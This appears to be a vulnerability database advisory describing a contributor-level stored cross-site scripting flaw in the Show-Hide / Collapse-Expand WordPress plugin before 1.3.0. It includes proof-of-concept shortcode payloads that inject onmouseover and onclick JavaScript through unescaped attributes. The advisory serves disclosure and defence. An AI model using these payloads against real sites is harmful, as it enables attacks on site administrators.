WordPress Plugin Vulnerabilities

Show-Hide / Collapse-Expand < 1.3.0 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.

Proof of Concept

v < 1.3.0 
[bg_collapse onclick="' onmouseover='alert(/XSS/)'"]
[bg_collapse onclick="alert(/XSS/)"]

v < 1.2.6
[bg_collapse custom_class="' onmouseover='alert(/XSS/)'"]

Other affected attributes: color, inline_css, icon

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-02-02 (about 1 years ago)
Added
2023-02-02 (about 1 years ago)
Last Updated
2023-06-06 (about 11 months ago)

Other